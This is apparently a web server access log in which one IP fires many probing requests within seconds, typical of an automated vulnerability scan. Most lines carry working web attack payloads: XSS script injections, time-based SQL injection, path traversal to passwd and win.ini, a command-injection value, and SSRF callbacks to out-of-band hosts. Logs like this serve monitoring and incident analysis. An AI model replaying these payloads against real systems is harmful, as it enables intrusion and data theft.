[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/assets/backend/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=../../thinkphp/base HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /%2577eb%2575i_%2577sma_Http HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flash/addcrypted2 HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fp-content/ HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?phonepe_action=curltestPhonePe&url=http://d5g6sfahausljekepl20pmxx3hkk6yx77.oast.site HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jeecg-boot/jmreport/qurestSql HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/parameters/core/ HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/appagebuilder/apajax.php?rand=6847193855573 HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /queues HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/guest/Login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\\..\\..\\ HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/users.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/suppliers/view_details.php?id=1'+AND+(SELECT+9687+FROM+(SELECT(SLEEP(6)))pnac)+AND+'ARHJ'='ARHJ HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin?piereg_logout_url=true&redirect_to=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /SamlResponseServlet HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search-locker-details.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /kubepi/api/v1/users HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /saas./resttosaasservlet HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shib_logout.php?action=logout&return=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images//////////////////../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search-request.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /banker/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3 HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hss/?q=%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?paytm_action=curltest&url=d5g6sfahausljekepl20y6hh8mw1igjkf.oast.site HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/v2/cmdb/system/admin/admin HTTP/1.1" 220
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /spcgi.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php?secret=\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /spcgi.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/scrape/kube-system HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/clusters/kubeconfig/k8s HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goanywhere/lic/accept HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /overview HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /json/setup-restore.action HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /csrf HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?c=blocked&action=continue HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/cfom_files/380cy3iggwv05upmq36benszeqb.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20- HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCRgpPartnerPriCreate.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/set_profiling?profile=0&collectors=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /aspera/faspex/package_relay/relay_package HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/index.php/v1/config/application?public=true HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /badging/badge_template_v0.php?layout=1&type=\"/><svg/onload=\"alert(document.domain)\"/> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unsafe/plain/https://cve-2023-1496.s3.amazonaws.com/imgproxy_xss.svg HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader.php?file=%3Becho+CVE-2023-23333|rev%00.zip HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupadministrator-start.action HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2.0/search?q=/ HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /functions/scripts/find_full_subnets.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /template/aui/text-inline.vm HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 226
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%255c%255cd5g6sfahausljekepl205ak6be4iaqidn.oast.site%255cC$%255cbb HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/assets/backend/elfinder/elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Dialog/FileDialog.aspx?ed=foooooooooooooo%27);});});javascript:alert('document.domain');//g HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsps/genrequest.jsp?routineName=\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_admin/imgdownload.php?filename=imgdownload.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /flash/addcrypted2 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flatpress/fp-content/ HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=ZYxju4%3CIMG%20%22%22%22%3E%3CIMG%20SRC=/%20onerror=%22alert(document.domain)%22%3E%3C/img%3E/80D/ HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php/management/set_timezone HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cas/logout?url=https://oast.pro\"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/avatars/favicon?url=http://d5g6sfahausljekepl20refijrzumao96.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/add-article-by-text HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /atutor/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tshirtecommerce/fonts.php?name=2&type=./../index.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/api/user/save HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/bootstrap/v1/verify HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/home?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /texteditor.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/jmeter/download/files HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_api/web/siteusers HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax/..CFIDE/adminapi/administrator.cfc?method=getBuildNumber&_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/pmb.php?url=https://oast.me&hash=9c4438eb62929d9b535fb6fe98223c5e HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /library/custom_template/share_template.php?list_id=1}});}}alert(document.domain);function%20x(){if(1){a=({a:{a:1 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/login HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xmlpasswd&fileMime=$textMime HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cpanelwebcall/%3Cimg%20src=x%20onerror=%22prompt%28document.domain%29%22%3Eaaaaaaaaaaaa HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E HTTP/1.1" 196
